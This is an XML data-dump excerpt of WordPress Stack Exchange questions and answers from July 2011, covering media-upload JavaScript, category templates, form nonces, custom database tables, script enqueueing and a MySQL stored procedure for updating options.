  <row Id="24439" PostTypeId="1" CreationDate="2011-07-29T16:01:06.863" Score="0" ViewCount="55" Body="&lt;p&gt;I have a custom Media Upload box to upload files in the admin area, it works fine, except that I need it to send the file url to a text field, the js is this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#upload_button').click(function() {&#xA;    formfield = jQuery('#wp_ge_dm_insert').attr('name');&#xA;    tb_show('Upload Files', 'media-upload.php?TB_iframe=true');&#xA;    return false;&#xA;});&#xA;window.send_to_editor = function(html) {&#xA;    var url = jQuery('a',html).attr('href');&#xA;    jQuery('#wp_ge_dm_insert').val(url);&#xA;    console.log('Added ' + url + ' to field');&#xA;    console.log(html);&#xA;    tb_remove();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that the field value is not changed, the console log displays &lt;code&gt;html&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='http://file.url'&amp;gt;file name&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the other log displays this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Added undefined to field&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems like the var is not defined, but I can't see the reason, since &lt;code&gt;html&lt;/code&gt; is correctly returned. Ideas?&lt;/p&gt;&#xA;" OwnerUserId="7361" LastEditorUserId="7361" LastEditorDisplayName="" LastEditDate="2011-07-29T16:47:33.503" LastActivityDate="2011-07-29T16:47:33.503" Title="Custom &quot;Insert Into Post&quot; javascript not working" Tags="&lt;javascript&gt;&lt;media-upload&gt;" CommentCount="1" FavoriteCount="1" />
  <row Id="24440" PostTypeId="1" CreationDate="2011-07-29T15:54:50.643" Score="0" ViewCount="28" Body="&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;video cat id = 4 video cat child category id's = 7,8,9 &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;news cat id = 5 news cat child category id's = 11,12,13&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I wanna display choosen categories ( &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;like videoarchive.php newsarchive.php it included with child&#xA;  categories&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;) in the different archive.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( sorry about my bad Eng )&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2011-07-29T16:13:54.403" Title="Child category pages" Tags="&lt;support&gt;" CommentCount="1" />
  <row Id="24441" PostTypeId="2" ParentId="24427" CreationDate="2011-07-29T16:15:24.030" Score="4" ViewCount="" Body="&lt;p&gt;My point of view is that main purpose and benefit of Settings API is &lt;strong&gt;structure&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It helps to keep complex settings setups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;orderly (logic of registration and sections);&lt;/li&gt;&#xA;&lt;li&gt;secure (nonces, validation callbacks);&lt;/li&gt;&#xA;&lt;li&gt;extensible (hooking into another page or allowing to be hooked into).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As with any such structural overhead it benefits more complex use cases and benefits less simple ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you do can implement anything Settings API does without using it. The question is if you can accomplish that in as reliable, secure and extensible way.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-29T16:15:24.030" CommentCount="3" />
  <row Id="24442" PostTypeId="1" AcceptedAnswerId="24458" CreationDate="2011-07-29T16:28:05.150" Score="1" ViewCount="71" Body="&lt;p&gt;I'm trying to create &lt;code&gt;&amp;lt;div class=&quot;cat-hidden categories&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt; where &lt;code&gt;categories&lt;/code&gt; is a list of the categories the current post is posted in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When just using &lt;code&gt;the_taxonomies()&lt;/code&gt;, it outputs something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;cat-hidden Job Type: &amp;amp;lt;a href='http://www.cirkut.net/wp/libertyguide/genre/early-career/'&amp;amp;gt;Early-Career&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href='http://www.cirkut.net/wp/libertyguide/genre/internship/'&amp;amp;gt;Internship&amp;amp;lt;/a&amp;amp;gt;, &amp;amp;lt;a href='http://www.cirkut.net/wp/libertyguide/genre/other/'&amp;amp;gt;Other&amp;amp;lt;/a&amp;amp;gt;, and &amp;amp;lt;a href='http://www.cirkut.net/wp/libertyguide/genre/web-developmentit/'&amp;amp;gt;Web Development/IT&amp;amp;lt;/a&amp;amp;gt;.&quot;&amp;gt;&amp;lt;/div&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Whereas I want it to output something similar to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div class=&quot;cat-hidden Early-Career Internship Web-Development/IT&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means I'm going to also have to parse the categories that are outputted because I need &lt;code&gt;Web Development/IT&lt;/code&gt; to be &lt;code&gt;Web-Development/IT&lt;/code&gt; or &lt;code&gt;Web-Development-IT&lt;/code&gt;.  I'm unsure about the &lt;code&gt;/&lt;/code&gt; being in there because I think CSS doesn't allow a &lt;code&gt;/&lt;/code&gt;.  That's where you experts come along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am very proficient in HTML and CSS, and know some PHP and Wordpress, but I don't know where to begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any more info is needed, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="7457" LastActivityDate="2011-07-31T13:48:34.657" Title="Use the_taxonomies() to create a simple list" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;the-taxonomies&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24443" PostTypeId="1" AcceptedAnswerId="24451" CreationDate="2011-07-29T16:30:45.370" Score="4" ViewCount="77" Body="&lt;p&gt;For a client we'll need 29,000 terms (all the highschool's in the US) and each term needs 6 meta items (address, phone...). My initial thought was to store the term meta information as suggested &lt;a href=&quot;http://en.bainternet.info/2011/custom-taxonomies-extra-fields&quot; rel=&quot;nofollow&quot;&gt;in this post&lt;/a&gt; but after looking through it again I will be using lots of terms and I wonder if it will overload the options table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good time to create a new table? Would this qualify? Other thoughts on how to relate the HS that a person attends to the 'post' that will be their academic profile?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was &lt;a href=&quot;https://twitter.com/ericmann/status/96982981402562560&quot; rel=&quot;nofollow&quot;&gt;suggested&lt;/a&gt; that I make the 'terms' a Custom Post Type. I'm not opposed to that either but I fail to see how I'll relate the CPT to multiple 'authors' since a school will have more than one student that attends it. Because of the multiple ownership of the content terms just seemed to fit better.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2011-07-29T16:51:44.493" LastActivityDate="2011-07-29T19:10:27.650" Title="When is it appropriate to create a new table in the WordPress database?" Tags="&lt;database&gt;&lt;create&gt;&lt;table&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="24444" PostTypeId="1" AcceptedAnswerId="24445" CreationDate="2011-07-29T16:44:06.007" Score="0" ViewCount="26" Body="&lt;p&gt;I am trying to create a nonce to use with a (public-facing) form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_form() {&#xA;    if (isset($_POST['submit'])) { &#xA;&#xA;    $name = $_POST['name'];&#xA;    $description = $_POST['description'];&#xA;    $output_form = false;&#xA;&#xA;        if (wp_verify_nonce($_POST['added'], 'add-item') )&#xA;        {&#xA;        //validate&#xA;        echo 'form submitted with nonce correctly';&#xA;        }&#xA;&#xA;    } else {&#xA;       $output_form = true;&#xA;    }&#xA;    if ($output_form) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field('add-item','added'); ?&amp;gt;&#xA;            &amp;lt;label&amp;gt;Title:&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;label&amp;gt;Description:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea name=&quot;description&quot; rows=&quot;3&quot; cols=&quot;10&quot;&amp;gt;&amp;lt;?php echo $description; ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;?php&#xA;    }   &#xA;&#xA;}&#xA;&#xA;add_shortcode('PODS FORM', my_form);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see my form on my page, but when I submit (and fill it our correctly) instead of seeing my 'correct' message I am only seeing blank page. &lt;/p&gt;&#xA;" OwnerUserId="2417" LastEditorUserId="2417" LastEditorDisplayName="" LastEditDate="2011-07-29T17:00:13.993" LastActivityDate="2011-07-29T17:18:37.830" Title="Help with forms and nonces" Tags="&lt;forms&gt;&lt;nonce&gt;" AnswerCount="1" />
  <row Id="24445" PostTypeId="2" ParentId="24444" CreationDate="2011-07-29T16:54:26.740" Score="1" ViewCount="" Body="&lt;p&gt;You need to pass the &lt;strong&gt;value of the nonce field&lt;/strong&gt; as first argument to &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_verify_nonce&quot; rel=&quot;nofollow&quot;&gt;wp_verify_nonce&lt;/a&gt;. So, you need to modify the nonce verification part in your code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you were using form fields names that conflicts with internal wordpress query vars, you should prefix them with something unique so they do not conflict with wordpress. See following example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_form() {&#xA;    if (isset($_POST['pf_submit'])) { &#xA;&#xA;    $name = $_POST['pf_name'];&#xA;    $description = $_POST['pf_description'];&#xA;    $output_form = false;&#xA;&#xA;        if (isset( $_POST['pf_added'] ) &amp;amp;&amp;amp; wp_verify_nonce($_POST['pf_added'], 'add-item') )&#xA;        {&#xA;        //validate&#xA;        echo 'form submitted with nonce correctly';&#xA;        }&#xA;&#xA;    } else {&#xA;       $output_form = true;&#xA;       $name = &quot;&quot;;&#xA;       $description = &quot;&quot;;&#xA;    }&#xA;    if ($output_form) {&#xA;    ?&amp;gt;&#xA;    &amp;lt;form method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field('add-item','pf_added'); ?&amp;gt;&#xA;            &amp;lt;label&amp;gt;Title:&amp;lt;/label&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;pf_name&quot; value=&quot;&amp;lt;?php echo $name; ?&amp;gt;&quot;/&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;label&amp;gt;Description:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea name=&quot;pf_description&quot; rows=&quot;3&quot; cols=&quot;10&quot;&amp;gt;&amp;lt;?php echo $description; ?&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br/&amp;gt;&#xA;            &amp;lt;input type=&quot;submit&quot; name=&quot;pf_submit&quot; value=&quot;submit&quot;&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;?php&#xA;    }   &#xA;&#xA;}&#xA;&#xA;add_shortcode('PODS FORM', my_form);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-07-29T17:18:37.830" LastActivityDate="2011-07-29T17:18:37.830" CommentCount="6" />
  <row Id="24446" PostTypeId="1" CreationDate="2011-07-29T17:07:06.337" Score="0" ViewCount="33" Body="&lt;p&gt;We're building an online magazine with a debate section similar to economist.com/debate. Is it possible to do it in wordpress with existing plugins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much.&lt;/p&gt;&#xA;" OwnerUserId="7458" LastActivityDate="2011-07-30T11:03:21.840" Title="Possible to replicate economist.com's debate section in wordpress?" Tags="&lt;plugins&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24447" PostTypeId="2" ParentId="24423" CreationDate="2011-07-29T17:30:48.110" Score="0" ViewCount="" Body="&lt;p&gt;So you already know that you need to create a archive-category.php template for each category. Within each template you would call a custom query for each of those categories and their child categories. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$catPosts = new WP_Query();&#xA;$catPosts-&amp;gt;query( array( 'category__in' =&amp;gt; array(5), 'posts_per_page' =&amp;gt; 5, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC' ) );&#xA;  while ($catPosts-&amp;gt;have_posts()) : $catPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;div class=&quot;meta&quot;&amp;gt;&#xA;   By &amp;lt;?php the_author() ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;  &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one shows the &quot;news&quot; category with it's children included. Note that you can place any of your own tags to output whatever HTML you want.&lt;/p&gt;&#xA;" OwnerUserId="4273" LastEditorUserId="4273" LastEditorDisplayName="" LastEditDate="2011-08-01T15:23:12.493" LastActivityDate="2011-08-01T15:23:12.493" CommentCount="4" />
  <row Id="24448" PostTypeId="1" CreationDate="2011-07-29T17:50:26.240" Score="0" ViewCount="38" Body="&lt;p&gt;I use custom category templates for a few of my categories. Ex: cat-12.php and so on. I use the Fv Simpler Seo and presently it doesnt seem to support an option to edit category templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Considering that I use custom category templates, is there a function or a way I include custom meta description and custom title (over riding the default category name that is picked up as the title) without having to use a plugin?&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-07-29T18:11:56.043" Title="How to add meta description, keywords, custom title to a category template" Tags="&lt;categories&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="24449" PostTypeId="1" CreationDate="2011-07-29T18:11:12.877" Score="0" ViewCount="49" Body="&lt;p&gt;On the homepage of my site I have a slider which shows selected posts from various categories and underneath that a list of the posts which are not featured in the slider and only from the 'news' category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to exclude the categories from the list of posts to only feature 'news' posts through the code below, but the problem I have is that the post count / pagination at the bottom of the page is all messed up. The pagination at the bottom of the page still includes all the posts on the site. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array(&#xA;'post__not_in' =&amp;gt; $exl_posts,&#xA;'paged' =&amp;gt; $paged,&#xA;)&#xA;); ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;if (is_home()) {&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;query_posts(&quot;cat= -6,-7&amp;amp;paged=$paged&quot;);&#xA;}&#xA;add_filter('pre_get_posts', 'exclude_category')&#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried an alternative approach to the above code, by adding some suggested filter code to the function.php file but that made the featured posts in the slider disappear as well (as i said before the slider shows selected posts from all categories). This was the code for the filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function exclude_category($query) {&#xA;if ( $query-&amp;gt;is_home() ) {&#xA;$query-&amp;gt;set('cat', '-6, -7');&#xA;}&#xA;return $query;&#xA;}&#xA;add_filter('pre_get_posts', 'exclude_category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should I maybe have used a 'suppress filter' in the main page template somewhere so that query is open to all categories for the slider? Not sure how to that at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also tried the plugin 'ultimate category excluder', but it doesn't work well in my scenario - say for example i exclude the category 'events' from the home page, the same thing happens and 'events' disappears from the slider. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions please?? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW. Got to add that using the filter in the function.php file fixed the pagination/ghost post issue, but getting all the categories to show in the slider became the problem. &lt;/p&gt;&#xA;" OwnerUserId="7460" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-07-29T20:29:59.933" LastActivityDate="2011-07-29T20:29:59.933" Title="Fixing Post Count when excluding Categories" Tags="&lt;posts&gt;&lt;categories&gt;&lt;filters&gt;&lt;query&gt;" CommentCount="3" />
  <row Id="24450" PostTypeId="2" ParentId="24448" CreationDate="2011-07-29T18:11:56.043" Score="-1" ViewCount="" Body="&lt;p&gt;Take a closer look at custom category templates.&#xA;There &lt;strong&gt;must&lt;/strong&gt; be an option to edit them.&#xA;May be not through dashboard, may be right in theme or plugin folder.&#xA;I think it's impossible that there is no option to edit templates.&lt;/p&gt;&#xA;" OwnerUserId="7314" LastActivityDate="2011-07-29T18:11:56.043" CommentCount="5" />
  <row Id="24451" PostTypeId="2" ParentId="24443" CreationDate="2011-07-29T18:33:37.323" Score="4" ViewCount="" Body="&lt;p&gt;As the article mentions, using wp_options is not a good idea when you have thousands of terms, mainly because there's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a lot of serialization involved OR&lt;/li&gt;&#xA;&lt;li&gt;long option names (the limit is 64 characters)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In this particular case, yes, it's appropriate to create some custom tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To save time, you can use this plugin (update more recently than Simple Term Meta):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/taxonomy-metadata/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/taxonomy-metadata/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, it looks to me like a custom post type would be better suited for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at my &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin for relating highschools to whatever you were planning on relating them to.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-07-29T19:10:27.650" LastActivityDate="2011-07-29T19:10:27.650" CommentCount="1" />
  <row Id="24452" PostTypeId="1" CreationDate="2011-07-29T19:16:29.657" Score="0" ViewCount="21" Body="&lt;p&gt;I am trying to create an order form in wordpress. If the user is logged in,&#xA;I will associate the user with the order. However, if they are not logged in, I will register them. What is the lowest level I can register the user at (writer, admin) where they have the option to log in and cancel their order?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-07-29T19:16:29.657" Title="Wordpress order form: what level of user" Tags="&lt;users&gt;" CommentCount="2" />
  <row Id="24453" PostTypeId="1" CreationDate="2011-07-29T19:45:14.457" Score="0" ViewCount="45" Body="&lt;p&gt;Trying to do the right thing here, and tying myself in a knot! So, in my header.php before &lt;code&gt;wp_admin&lt;/code&gt;, I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('commonfunctions', child_template_directory . '/script/commonfunctions.js', array('jquery', 'jquery-ui-draggable'), '1.0', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which works. Basically, I have a custom js file which needs jquery and jqueryui as dependencies. I since took 'jquery' out as it seems to be loaded twice irrespectively. I also had a function hooked into 'init' in functions.php, but that didn't seem to have any advantage?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to include the validate script from CDN as this will also be a dependency of my custom script. I thought I would register the script like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script('validate', 'http://ajax.microsoft.com/ajax/jQuery.Validate/1.6/jQuery.Validate.min.js', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then add 'validate' to the dependencies array in enqueue, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('commonfunctions', child_template_directory . '/script/commonfunctions.js', array('jquery', 'jquery-ui-draggable', 'validate'), '1.0', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in that order, as jquery is also a dependency of validate. Phew! That doesn't work, I'm obviously misunderstanding something - please help me uncurl what I'm trying to do here...&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2011-07-30T01:06:22.133" Title="wp_enqueue_script vs. wp_register_script" Tags="&lt;wp-enqueue-script&gt;&lt;wp-register-script&gt;" AnswerCount="2" />
  <row Id="24454" PostTypeId="1" CreationDate="2011-07-29T20:03:38.903" Score="0" ViewCount="43" Body="&lt;p&gt;I'm currently using WordPress for a website and it will simply be acting as a CMS rather than a blogging platform. This means that WordPress' 'posts' are not needed. Is there anyway of disabling them by adding some code to &lt;code&gt;functions.php&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be acceptable to just remove the 'posts' option from &lt;code&gt;wp-admin&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3436" LastActivityDate="2011-07-29T21:09:56.567" Title="Disable WordPress' blogging functionality and disable 'posts'" Tags="&lt;posts&gt;&lt;blog&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="24455" PostTypeId="2" ParentId="24453" CreationDate="2011-07-29T20:10:26.173" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I since took 'jquery' out as it seems to be loaded twice irrespectively.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should not happen and is likely cause by some other (poor) code active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have wrong &lt;code&gt;true&lt;/code&gt; in &lt;code&gt;validate&lt;/code&gt; registration - after source comes dependencies array and &lt;code&gt;true&lt;/code&gt; is meaningless there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise this seems fine in general. Works from quick test. Could you describe more precisely what exactly and how &quot;doesn't work&quot;?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-29T20:10:26.173" CommentCount="2" />
  <row Id="24456" PostTypeId="2" ParentId="24185" CreationDate="2011-07-29T20:18:05.873" Score="0" ViewCount="" Body="&lt;p&gt;Got a partial solution, but requires VPS to run it as shared hosting has a restriction on what you can do with a cursor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DROP PROCEDURE IF EXISTS `update_all_options`;&#xA;DELIMITER //&#xA;CREATE PROCEDURE update_all_options(&#xA;IN db varchar(255),&#xA;IN theoption varchar(255),&#xA;IN set_val VARCHAR(255)&#xA;)&#xA;BEGIN&#xA;DECLARE table_val VARCHAR(255);&#xA;&#xA;-- Declare variables used just for cursor and loop control&#xA;DECLARE no_more_rows BOOLEAN;&#xA;&#xA;-- Declare the cursor&#xA;DECLARE options_cur CURSOR FOR SELECT table_name FROM information_schema.tables WHERE TABLE_SCHEMA = db AND TABLE_NAME LIKE 'wp_%options';&#xA;DECLARE CONTINUE HANDLER FOR NOT FOUND SET no_more_rows = TRUE;&#xA;&#xA;OPEN options_cur;&#xA;&#xA;the_loop: LOOP&#xA;&#xA;FETCH options_cur&#xA;INTO table_val;&#xA;&#xA;IF no_more_rows THEN&#xA;CLOSE options_cur;&#xA;LEAVE the_loop;&#xA;END IF;&#xA;&#xA;SET @qry = CONCAT('UPDATE ', table_val, ' SET option_value = &quot;', set_val, '&quot; WHERE option_name = &quot;', theoption, '&quot;');&#xA;PREPARE sqlstatement FROM @qry;&#xA;EXECUTE sqlstatement;&#xA;DEALLOCATE PREPARE sqlstatement;&#xA;&#xA;END LOOP the_loop;&#xA;&#xA;END //&#xA;DELIMITER ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You run it in your sql query window to create the procedure. It’ll then stick around until you need it.&#xA;To use it do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL update_all_options('wpglobal', 'blog_public', '1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To change all options with the name blog_public in the wpglobal database to 1.  PHP would probably be much much easier, eh?  Or so say my colleagues who came up with the above :)&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2011-07-29T20:18:05.873" />
  <row Id="24457" PostTypeId="2" ParentId="24454" CreationDate="2011-07-29T20:37:37.060" Score="0" ViewCount="" Body="&lt;p&gt;Use this &lt;a href=&quot;http://wordpress.org/extend/plugins/hide-admin-panels/&quot; rel=&quot;nofollow&quot;&gt;Hide admin panels&lt;/a&gt; plugin to hide panels.&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-29T20:37:37.060" />
  <row Id="24458" PostTypeId="2" ParentId="24442" CreationDate="2011-07-29T20:38:37.673" Score="2" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_get_post_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&lt;code&gt;wp_get_post_terms()&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; to get a list of the post categories and just output the category slug which is already phrased for you, something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//in your loop&#xA;echo '&amp;lt;div class=&quot;cat-hidden';&#xA;$cats = wp_get_post_terms($post-&amp;gt;ID,'category');&#xA;foreach($cats as $cat){&#xA;   echo ' '.$cat-&amp;gt;slug;&#xA;}&#xA;echo '&quot;&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-29T20:38:37.673" CommentCount="3" />
  <row Id="24459" PostTypeId="2" ParentId="24432" CreationDate="2011-07-29T20:59:00.480" Score="1" ViewCount="" Body="&lt;p&gt;Don't know if it's best practice but i had a similar issue and I ended up checking by custom sql query to check if the title already exists in my post type&#xA; and filtered duplicate posts and i hooked that to &lt;code&gt;wp_insert_post_data&lt;/code&gt; filter hook.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','prevente_duplicates');&#xA;function prevente_duplicates($data,$postarr){&#xA;    $count = $wpdb-&amp;gt;get_results($wpdb-&amp;gt;prepare(&quot;SELECT count(id)&#xA;            FROM $wpdb-&amp;gt;posts&#xA;            WHERE post_type = 'MY_POST_TYPE_NAME'&#xA;            AND post_title = '%s'&quot;,$data['post_title']));&#xA;    if ($count &amp;gt; 0 ){&#xA;        return false;&#xA;    }&#xA;    return $data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-07-29T20:59:00.480" CommentCount="1" />
  <row Id="24460" PostTypeId="2" ParentId="24454" CreationDate="2011-07-29T21:09:56.567" Score="1" ViewCount="" Body="&lt;p&gt;Posts are a broader category than they initially appear to be. The post is any content, even if you're using WP as a CMS. While it might seem like a post is a blog post, really it's anything you post on the site. Disabling it will kill all content. Better to turn off the various bloggy components, such as comments, and then edit the template files to remove references to the author, date posted, etc, to achieve a CMS site.&lt;/p&gt;&#xA;" OwnerUserId="7462" LastActivityDate="2011-07-29T21:09:56.567" />
